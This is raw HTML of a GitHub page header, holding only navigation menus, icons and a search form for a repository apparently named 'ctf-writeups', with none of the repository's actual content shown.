<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="204000670" data-scoped-search-url="/r4j0x00/ctf-writeups/search" data-owner-scoped-search-url="/users/r4j0x00/search" data-unscoped-search-url="/search" data-turbo="false" action="/r4j0x00/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="0b2m19Vhg67vShIH/V/ncCD8z7o4MN8uUTmx+fntoAIXjKS7GNXGOGU7WILsOWgWZc3pyHPcETc2j0NhShBqsQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
